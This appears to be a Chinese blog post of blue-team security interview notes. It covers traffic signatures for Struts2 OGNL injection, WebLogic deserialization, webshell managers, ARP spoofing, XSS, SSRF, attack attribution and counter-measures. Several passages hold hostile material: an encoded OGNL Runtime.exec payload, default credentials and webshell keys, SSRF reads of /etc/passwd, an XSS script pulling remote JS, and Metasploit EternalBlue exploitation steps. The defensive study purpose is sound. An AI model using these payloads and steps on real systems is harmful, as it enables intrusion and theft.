利用 Struts2 框架对重定向 URL 处理的漏洞,攻击者可以在重定向 URL 中注入恶意的 OGNL 表达式,当服务器对重定向 URL 进行处理时,会执行这些表达式。

 

### 流量特征

 

#### 请求端流量特征

- **特殊字符和表达式**:请求中可能包含特殊的 OGNL 表达式,如 `${}` 包裹的表达式。例如:

```

http://example.com/action?param=%24%7B%23a%3D%40java.lang.Runtime%40getRuntime().exec('calc.exe')%7D

```

其中 `%24%7B%23a%3D%40java.lang.Runtime%40getRuntime().exec('calc.exe')%7D` 是经过 URL 编码的 OGNL 表达式 `${#a=@java.lang.Runtime@getRuntime().exec('calc.exe')}`。

- **大量重复请求**:攻击者可能会发送大量包含不同 OGNL 表达式的请求,以尝试找到有效的命令执行方式或绕过一些安全防护机制。

 

#### 响应端流量特征

- **异常响应**:如果服务器在执行恶意命令时出现异常,可能会返回包含错误信息的响应。这些错误信息可能会泄露服务器的一些敏感信息,如 Java 类名、方法名等,攻击者可以利用这些信息进一步分析和利用漏洞。

- **命令执行结果**:如果攻击者成功执行了系统命令,可能会在响应中包含命令执行的结果。例如,执行 `dir` 命令后,响应中可能会包含文件和目录列表。

 

### 防御措施

- **及时更新框架版本**:Apache 官方会及时修复 Struts2 框架中的安全漏洞,因此应及时将 Struts2 框架升级到最新版本。

- **输入验证和过滤**:对用户输入进行严格的验证和过滤,只允许合法的字符和格式通过。

- **限制访问权限**:限制 Struts2 应用程序的访问权限,避免不必要的外部访问。

(5) Oracle WebLogic反序列化

是java EE应用服务器,它有两个问题:身份验证机制存在缺陷,可能允许使用默认或者弱口令;处理请求的时候因反序列化而出现xss和利用身份验证的漏洞。

简述:

WebLogic反序列化漏洞是一种严重的安全漏洞,攻击者可利用该漏洞在未授权的情况下远程执行代码。以下是其漏洞原理、流量特征以及协议端口的相关信息:

### 漏洞原理

- **WebLogic相关漏洞点**:

以CVE - 2020 - 2883为例,该漏洞存在于Oracle WebLogic Server的WLS组件中。漏洞代码位于`weblogic.jar`中的`weblogic.wsee.jaxws.persistence.PersistentContext.class`文件,它的`readObject`函数调用了`readSubject`函数,`readSubject`函数中使用了`ObjectInputStream.readObject`来反序列化对象。当攻击者通过T3协议发送精心伪造的`PersistentContext`对象时,由于该对象在反序列化时会对其中封装的恶意对象进行反序列化,且可能绕过了 黑名单检查,从而导致漏洞被触发,实现远程代码执行。

### 流量特征

- **协议头特征**:

  1. T3协议包头有特定格式,如`T3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us - l - breens:7001`
  2. WebLogic服务器返回数据以`HELO:`开头,后面跟着版本号,如`HELO:12.2.1.3.false`,并且客户端与服务器发送的数据通常以`\n\n`结尾。

- **序列化数据特征**:数据中存在Java序列化魔术头部`ac ed 00 05`,这是Java序列化对象的标识。在利用漏洞时,攻击者构造的恶意序列化数据可能会被切割为多段传输,以`fe 01 00 00`隔开。

 

### 协议端口

WebLogic默认使用7001端口作为控制台端口,当开放该端口时,T3服务默认开启,攻击者可通过该端口利用T3协议进行反序列化攻击。不过,在实际应用中,WebLogic服务器的T3协议端口可能会根据配置有所不同。

(6)以下为你介绍几种常见中间件设备的漏洞原理和利用方式的大致了解

|中间件|漏洞原理|利用方式|

|--|--|--|

|Apache Struts|

Apache Struts 是一个开源的基于 MVC(Model - View - Controller,模型 - 视图 - 控制器)设计模式的 Java Web 应用框架。

该框架在处理用户输入时,未对特殊字符或恶意数据进行严格过滤与验证,存在逻辑缺陷,使得攻击者能构造特殊请求,触发远程代码执行或文件上传漏洞|利用文件上传漏洞,上传包含恶意代码的文件(如JSP、PHP脚本),一旦服务器执行该文件,就能实现控制服务器、窃取数据等操作;利用远程代码执行漏洞,构造恶意请求,让服务器执行任意系统命令,如添加用户、下载恶意程序等|

|Apache Tomcat|

Apache Tomcat 是一个开源的轻量级 Web 应用服务器,

在处理用户请求时,对输入的合法性和安全性校验不足,可能存在跨站脚本攻击(XSS)漏洞,此外也可能因配置不当或代码缺陷,导致远程代码执行漏洞|通过跨站脚本攻击漏洞,攻击者可在页面中插入恶意脚本,当用户访问页面时,脚本被执行,进而窃取用户会话令牌、Cookie等敏感信息;利用远程代码执行漏洞,攻击者构造恶意请求,使服务器执行恶意代码,控制服务器|

|Oracle WebLogic|

Oracle WebLogic 是一个功能强大的 Java EE 应用服务器,广泛应用于企业级的大型 Web 应用和服务中。

身份验证机制存在缺陷,可能允许攻击者使用默认或弱口令登录系统;

在处理请求时,可能因反序列化等问题,出现远程代码执行漏洞|利用身份验证漏洞,攻击者尝试使用已知的默认用户名和密码(如weblogic/Oracle@123 )登录系统,获取访问权限;

利用远程代码执行漏洞,构造恶意的SOAP请求或T3协议数据,让服务器执行任意命令,获取服务器控制权、窃取数据|

|IIS(Internet Information Services)

是由微软公司提供的基于 Windows 操作系统的网络服务器软件。

|以IIS 6.x的PUT漏洞为例,当web服务扩展中开启了WebDAV且配置了可写入权限,就可能造成任意文件上传。IIS 6.0还存在解析漏洞,会将特定格式文件名误解析为ASP脚本执行。

|攻击者可使用Burpsuite等工具,利用PUT方法上传恶意脚本文件,如ASP文件,进而控制网站。利用畸形文件名(如*.asp;.jpg )上传文件,使IIS将其当成ASP文件解析执行恶意代码|

 

4、Webshell管理工具流量特征

(1)菜刀流量特征

  1. 默认Webshell连接密码为caidao
  2. 请求包中User-Agent头为百度或者火狐等爬虫标识
  3. 请求体中存在eval、base64等特征标识
  4. 流量参数中包含z0、z1、z2
  5. 建立连接后会发送特定的验证码,比如"knife"、"dadan"等进行验证

(2)蚁剑流量特征

  1. 默认的User-Agent头为英文的蚁剑(antsword
  2. PHP类型的Webshell流量请求体通常都以@ini_set("display_errors","0");@set_time_limit(0)开头(通常是URL加密)
  3. 响应体通常会进行base64编码,解码后可以观察到攻击行为的payload

(3)冰蝎2.x/3.x/4.x流量特征

冰蝎2.x:

  1. 请求体进行了AES加密 + Base64编码,使用的是动态密钥
  2. 请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个
  3. 请求的Cookie的格式通常为: Cookie: PHPSESSID=; path=/;

冰蝎3.x:

  1. 请求体进行了AES加密 + Base64编码,使用的是固定的连接密钥,AES加密的密钥直接固定为webshell连接密码的MD5哈希值的前16位,默认连接密码是“rebeyond”,因此AES加密的密钥就是“e45e329feb5d925b”
  2. 请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个,通信时可能会频繁使用特定的User-Agent,比如"WOW64"等
  3. 请求包中Content-Length为5740或5720(可能会根据Java版本而改变)
  4. 每一个请求头中存在Pragme: no-cache,Cache-Control: no-cache
  5. 可能会频繁访问默认路由,比如"/con"

冰蝎4.x:

  1. 该版本不再有连接密码这个概念,自定义传输协议的算法就是连接密码,与3.x相同的是默认情况下Webshell都有"e45e329feb5d925b"这个连接密钥
  2. 请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个
  3. 使用了长连接,请求头和响应头中connection头为"keep-alive"
  4. Content-Type字段通常为"Application/x-www-form-urlencoded"
  5. 默认情况下有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

 

(4)哥斯拉流量特征

  1. Webshell使用了eval函数以及base64编码
  2. 请求包通常以"pass="开头
  3. 通常请求包较长,但是响应包长度可能为0
  4. 默认的User-Agent字段是Java/版本号,但是可以被修改
  5. 最后一个Cookie值的末尾有一个不必要的分号
  6. 响应包具有特定的结构特征,结构特征为:md5前十六位+base64+md5后十六位

 

 

5.Web常见漏洞

(1)SQL

dfc409fb386c77498b2e51d6faee7cd.png

image.png

(2)ARP伪造(ARP Spoofing)

ARP伪造(ARP Spoofing),也称为ARP欺骗,是一种利用地址解析协议(ARP)进行攻击的技术。以下是关于ARP伪造的详细介绍:

 

### 原理

- ARP是用于将IP地址转换为物理MAC地址的协议。在局域网中,当一台主机要与另一台主机通信时,它需要先通过ARP协议获取目标主机的MAC地址。

- ARP伪造就是攻击者通过向局域网内的主机发送虚假的ARP响应包,将自己的MAC地址与目标IP地址进行关联,从而欺骗其他主机,使其将原本要发送给目标主机的数据发送到攻击者的主机上。

 

### 攻击方式

- **ARP缓存中毒**:攻击者向目标主机发送伪造的ARP响应,更新其ARP缓存表,使目标主机将数据发送到错误的MAC地址(攻击者的MAC地址)。例如,攻击者可以发送一个ARP响应,声称自己的MAC地址对应着局域网内默认网关的IP地址。这样,目标主机发送到网关的数据就会被发送到攻击者的主机,攻击者可以对数据进行窃取、篡改或阻止其传输。

- **中间人攻击**:攻击者同时欺骗源主机和目标主机,使它们都将数据发送到攻击者的主机。攻击者在中间充当“中间人”,可以监听、篡改或转发数据,而源主机和目标主机都认为它们是在直接通信。例如,攻击者可以分别向源主机和目标主机发送伪造的ARP响应,将自己的MAC地址与对方的IP地址关联起来,从而拦截和篡改双方之间的通信数据。

 

### 可能造成的危害

- **数据窃取**:攻击者可以截获用户的敏感信息,如登录密码、信用卡信息等,造成用户隐私泄露和财产损失。

- **网络瘫痪**:通过发送大量的伪造ARP数据包,攻击者可以干扰网络正常运行,导致网络堵塞甚至瘫痪,影响整个局域网的通信。

- **数据篡改**:攻击者在中间对数据进行篡改,可能会破坏数据的完整性,导致信息错误或被恶意修改。

 

### 防范措施

- **使用静态ARP绑定**:在网络设备和主机上手动设置静态的ARP绑定,将IP地址和MAC地址进行固定绑定,防止ARP缓存被随意篡改。这样,即使攻击者发送伪造的ARP数据包,也无法更改已设置的静态绑定。

- **使用ARP防护软件**:安装专门的ARP防护软件,这些软件可以监测和防范ARP攻击,实时检测异常的ARP数据包,并发出警报或自动进行防御。

- **划分VLAN**:将局域网划分为多个虚拟局域网(VLAN),不同VLAN之间的主机无法直接进行ARP通信,从而限制了ARP攻击的范围。

- **加强网络安全管理**:定期检查网络设备的ARP表,及时发现异常的ARP记录;对网络用户进行安全培训,提高用户的安全意识,避免轻易点击可疑的链接或下载未知来源的文件,防止感染恶意软件而成为ARP攻击的帮凶。

(3)XSS

xss攻击是在网页嵌入客户端恶意脚本代码(一般用js编写)

<script>alert(/xss/)</script>//弹出含有xss文本框 中间可以输入src="http://www.secbug.org/x.txt"而x.txt存放着恶意js代码。也可以是任意扩展名或者无扩展名。

xss类型

反射型

截图.json

用户访问带有XSS代码的URL请求时->

服务器端接受数据后处理,然后把带有XSS的数据发送到浏览器->

浏览器解析XSS代码数据后造成XSS漏洞。

过程很像反射。可以看出当用户在 HTTP 请求中提供的数据未经任何验证就能被包含在网页源代码中时,就会发生反射型 XSS。

存储型

截图.json

也被称为持久型XSS,不用手动触发。

Dom型

什么是 DOM?

DOM 代表文档对象模型(Document Object Model),是 HTML 和 XML 文档的应用程序编程接口(API-application programming interface),它代表的是一个页面,以便程序可以更改文档结构、样式和内容。

所以网页就是一个文档,这个文档可以显示在浏览器窗口中,也可以作为 HTML 源。DOM本身就代表者文档的意思。下面是一个关于 HTML DOM 的图表:

image.png

对DOM的利用

基于 DOM 的 XSS 能够让 JavaScript恶意代码 直接在浏览器中执行,而无需加载任何新页面或将数据提交给后端代码。当网站上的 JavaScript恶意代码 作用于输入或与用户发生交互时,该代码就会被执行。

换句话说DOM型的XSS不需要与服务器端交互,只发生在客户端处理数据阶段。

 

浏览器端怎么防御:

XSS漏洞即跨站脚本攻击漏洞,主要包括反射型XSS、存储型XSS和DOM型XSS三种。以下是在浏览器端对这三种XSS漏洞的防御方法: 反射型XSS和存储型XSS: - 输入验证与过滤:浏览器可对用户输入进行严格验证,限制输入的字符类型、长度等,不允许包含脚本相关的特殊字符,如 < 、 > 、 script 等。 - 输出编码:在将服务器端数据输出到页面时,对特殊字符进行HTML编码,如将 < 编码为 &lt; , > 编码为 &gt; ,使浏览器将其作为普通文本显示,而非执行脚本。 - 设置HTTP头部:通过设置 Content - Security - Policy (CSP)等HTTP头部,限制页面可加载的资源来源,明确允许或禁止哪些脚本来源,防止浏览器执行来自非信任源的脚本。

Content - Security - Policy: default - src'self'; script - src'self' https://trusted - domain.com 表示只允许从当前域名和 https://trusted - domain.com 加载脚本。

DOM型XSS - 避免动态创建DOM节点:尽量减少使用 innerHTML 、 outerHTML 等会动态创建DOM节点的属性和方法,如需更新DOM内容,使用 textContent 或 setAttribute 等安全的方法。 - 对DOM操作进行严格检查:在进行DOM操作时,仔细检查传入的参数,确保其不包含恶意脚本。如使用 addEventListener 添加事件监听器时,要验证事件源和事件参数的安全性。 - 使用安全的JavaScript库:一些成熟的JavaScript库如jQuery等,对DOM操作进行了封装和安全处理,能降低DOM型XSS漏洞的风险。 总之,浏览器端防御XSS漏洞的关键是对输入进行严格验证和过滤,对输出进行编码,以及谨慎操作DOM,通过这些措施可以有效降低XSS漏洞带来的安全风险。

 

SSRF

SSRF(Server - Side Request Forgery,服务器端请求伪造)会涉及多种协议,以下是一些常见的协议:

  1. HTTP/HTTPS 协议:这是最常见的协议。攻击者可以通过构造 HTTP 或 HTTPS 请求,让目标服务器向本地或内网其他服务器发送请求,从而访问内部资源、探测内网主机是否存活、端口是否开放等。例如,攻击者可以构造一个指向内网服务器的 HTTP 请求,获取敏感信息或执行未授权的操作。
  2. file 协议:该协议用于访问服务器本地文件。攻击者可以利用 file 协议读取服务器上的敏感文件,如/etc/passwd(Linux 系统)、C:/Windows/win.ini(Windows 系统)等。通过读取这些文件,攻击者可能获取到用户账号、密码等敏感信息。
  3. ftp 协议:文件传输协议(FTP)也可能成为 SSRF 攻击的目标。攻击者可以利用 SSRF 漏洞,通过 FTP 协议访问指定主机上的文件,甚至可以尝试下载或上传文件,从而实现对目标服务器的进一步攻击或数据窃取。
  4. gopher 协议:gopher 协议可以发送 GET 请求、POST 请求,进行 Redis 未授权利用,攻击内网其他服务等。它是 SSRF 利用中一个功能强大的协议,例如可以通过 gopher 协议构造特定的请求,对内网中的 Redis 服务器进行攻击,获取敏感数据或执行恶意命令。
  5. dict 协议:主要用于泄露安装软件版本信息,查看端口,操作内网 Redis 服务等。攻击者可以利用 dict 协议来探测内网中的服务信息,为进一步的攻击提供线索。

此外,SMB(服务器消息块)协议、LDAP(轻型目录访问协议)、SNMP(简单网络管理协议)等也可能成为攻击者利用 SSRF 漏洞进行攻击的目标2。例如,通过 SMB 协议访问局域网中共享的文件和打印机资源,利用 LDAP 协议进行目录查询和操作,利用 SNMP 协议获取网络设备的信息等。

6.你复现过的漏洞

IIS6.0 WebDav解析漏洞

asp文件夹内文件当做ASP脚本执行

PUT方法上传脚本CVE-2018-16763远程代码执行 真的

(FUEL CMS 1.4.1允许通过pages/select/ filter参数或preview/ data参数来评估PHP代码。这可能导致预先认证的远程代码执行。)

永恒之蓝 ms17_010 真的,成果下次再次复现总结一下

利用示例

通常利用 Metasploit 工具进行漏洞利用。具体步骤如下:

  1. 用 Nmap 扫描主机端口,如nmap --script=vuln <目标IP>,可发现目标主机是否存在 MS17-010 漏洞。
  2. 打开 Metasploit(msfconsole),搜索 ms17-010 相关模块,search ms17-010。
  3. 加载扫描模块use auxiliary/scanner/smb/smb_ms17_010,设置目标主机地址set rhosts <目标IP>,然后执行exploit进行扫描,若提示host is likely vulnerable to ms17-010!,说明存在永恒之蓝漏洞。
  4. 使用永恒之蓝攻击模块use exploit/windows/smb/ms17_010_eternalblue,设置攻击载荷并设置rhosts为目标 IP,输入exploit开始攻击。运行成功会出现meterpreter>,此时可调用 Metasploit 的一些功能,对目标系统进行更深入的渗透,如获取屏幕、上传 / 下载文件、创建持久后门等。

CVE-2018-16763远程代码执行 真的

写下WP

在参与Ackme Support Incorporated新博客的安全审计任务时。首先,我使用 Nmap 对其进行端口扫描,发现 HTTP 端口开放。经过进一步探测,确定该网站使用 Fuel CMS 1.4 框架。凭借经验,我利用 searchsploit 工具查找相关漏洞,发现存在远程代码执行漏洞(RCE)。很容易找到了exp,对exp进行简单配置之后获取了系统权限。在利用漏洞时,遇到了代码语法错误,经排查是 Python 版本问题,切换到 Python 3 后成功绕过。最终成功获取反向 shell,并在目标系统中找到了敏感信息,比如index.php文件。证明该漏洞可被利用,及时为客户提出修复建议。

7.免杀以及内存马

那内存马有了解吗,以及如何进行检测内存马?

首先判断是什么方式注入的内存马,

可以通过查看web日志,以及看是否有类似哥斯拉、冰蝎的流量特征

如果web日志中没有发现,那么我们就可以排查中间件的error.log日志

那内存马清除呢,知道吗?

因为内存马清除相关知识不是很了解,所以我就简单的讲了下利用工具,比如河马、D盾等进行webshell查杀清除。

三、攻击溯源

攻击溯源属于护网蓝队的高级岗位,需要根据攻击者的留下的IP、域名、网站url、攻击样本等信息,定位出攻击者的个人信息,包括攻击者的物理地址、攻击者服务器地址、攻击者姓名、电话、邮箱等信息。攻击溯源分为三大部分:攻击源捕获溯源反制手段攻击者画像绘制

1、攻击源捕获

(1)安全设备报警:扫描IP、威胁阻断、病毒木马、入侵事件等

(2)日志以及流量分析:异常的流量、攻击来源与攻击目标等

(3)服务器资源异常:异常的文件、账号、进程、端口、启动项

(4)计划任务和服务等

(5)邮件钓鱼:获取恶意文件样本、钓鱼网站URL等

(6)蜜罐系统:获取攻击者行为、意图的相关信息

2、溯源反制手段

(1)IP定位技术:通过IP定位物理地址-代理IP

(2)ID追踪术:搜索引擎、社交平台、技术论坛、社工库匹配

(3)网站URL:域名whois查询-注册人姓名、地址、电话和邮箱

(4)恶意样本:提取样本特征、用户名、ID、邮箱、C2服务器等信息

(5)社交账号:基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实IP及社交信息等

3、攻击者画像

(1)攻击路径

  1. 攻击的目的:拿到权限、窃取数据、获取利益、DDOS等
  2. 网络代理:国外VPN、代理IP、跳板机、C2服务器等
  3. 攻击手法:鱼叉邮件钓鱼、Web渗透、水坑攻击、社会工程等

(2)攻击者身份画像

  1. 虚拟身份:ID、昵称、网名
  2. 真实身份:姓名、物理位置
  3. 联系方式:手机号、qq/微信、邮箱
  4. 组织情况:单位名称、职位信息

4、溯源案例

攻击溯源面试题一般就问你做过溯源没有,怎么做的,接下来我就举一个被fastjson攻击的溯源流程案例:

(1)流量监控与日志分析:通过监控网络流量和审查应用服务器日志,发现了异常的JSON请求,其中包含了不寻常的@type字段和dataSourceName字段

(2)识别攻击特征:分析请求中的@type字段和dataSourceName字段,发现它们指向了一个外部的RMI服务,这是Fastjson漏洞的一个典型特征

(3)IP地址溯源:通过WHOIS以及威胁情报平台等对dataSourceName中的RMI地址进行溯源,确定了攻击者控制的服务器IP地址以及其它信息

(4)漏洞验证与复现:在隔离的环境中复现了攻击,验证了漏洞的存在,并分析了攻击触发的流程

(5)漏洞修复及后续行动:为防止再次被攻击,更新了Fastjson库到最新的安全版本,并禁用了autoType功能。同时根据获取到的IP地址以及其它相关信息进行了报警处理

 

关于蓝队反制手段的简单理解:

总结思路无非两种,模拟红队主动渗透(做信息收集等等)和放置诱饵等红队来。

image.png

Q:解释3、4、5、6点。

关于反制手段,第三点是对webshell攻击工具进行漏扫么?

第四点id指的是什么?

第五点钓鱼网站和文末的关联是什么,第五点是说对发来的钓鱼网站本身进行 xss注入检测么,“盲打”是什么意思?而文末是对红队钓鱼。

第六点木马文件,是分析木马文件本身么?

### 第三点:应用漏洞挖掘&利用(菜刀、Goby、蚁剑)

- **解释**:这里不是单纯对 webshell 攻击工具进行漏扫。“应用漏洞挖掘&利用” 指的是通过使用像菜刀(一款常见的 webshell 管理工具 ,可用于在已获取权限的网站上执行命令等操作)、Goby(一款集成化的漏洞扫描与渗透测试工具,能扫描出多种应用的漏洞 )、蚁剑(也是一款 webshell 管理工具,功能与菜刀类似 )等工具,去发现应用程序中存在的安全漏洞,并合理利用这些漏洞信息来加固系统,或者在模拟攻击中发现系统的薄弱环节,从而采取相应的防御措施。

第三点很像红队的漏扫,可以说是前期对自己进行模拟攻击找到薄弱点

看工具的流量特征护网面试题 整合 关耀安 二.2

 

### 第四点:id---> 社交特征关联

- **解释**:这里的 “id” 通常指的是各种身份标识,比如网络社交平台上的用户账号 ID、论坛 ID 等。蓝队通过收集攻击者在不同平台上使用的 ID 信息,然后关联这些 ID 所对应的社交特征,比如个人资料、发布的内容、好友关系等,来分析攻击者的身份、行为模式和可能的攻击意图。例如,通过分析攻击者在论坛上发布的技术讨论内容,结合其社交平台上的好友关系,推测其技术能力和背后可能的组织。

很像被动信息收集

 

### 第五点:钓鱼网站->后台扫描、xss 盲打

- **解释**:

- **钓鱼网站 - 后台扫描**:当发现钓鱼网站后,蓝队对钓鱼网站的后台进行扫描,目的是发现后台存在的漏洞,比如弱口令、文件上传漏洞等,通过这些漏洞来获取钓鱼网站的控制权或者获取攻击者的相关信息,从而追踪攻击者。

- **xss 盲打**:XSS(跨站脚本攻击)盲打是一种 XSS 攻击技术。在这种情况下,攻击者(这里蓝队模拟攻击者)在钓鱼网站上注入 XSS 代码,当受害者访问该钓鱼网站时,代码会被执行。蓝队通过这种方式可以获取受害者的一些信息(如 cookie 等),虽然可能无法实时看到攻击结果(因为 “盲打” 意味着攻击者不在现场实时查看攻击效果 ),但可以通过后续的信息收集来达到追踪攻击者或者了解其攻击方式的目的。

与文末的关联在于,都是利用钓鱼相关的手段来对红队(攻击者)进行反制。前者是已知钓鱼网站,后者是主动防治钓鱼网站这里不是对钓鱼网站进行 XSS 注入检测,而是利用 XSS 攻击技术来获取信息进行反制。

 

### 第六点:木马文件—>同源样本关联—>敏感字符串特侦检测

- **解释**:蓝队首先获取到木马文件,然后通过分析木马文件的特征(如代码结构、哈希值等),找到与之同源的其他样本(即可能由同一作者或同一组织编写的其他木马文件 )。接着,对这些木马文件进行敏感字符串特侦检测,通过查找木马文件中包含的特定敏感字符串(比如与攻击者相关的域名、IP 地址、特定的代码标识等 ),来进一步分析木马的来源、传播途径以及攻击者的相关信息,从而采取针对性的防御措施。

posted @ 2025-06-18 08:04  Hunter_H  阅读(41)  评论(0)    收藏  举报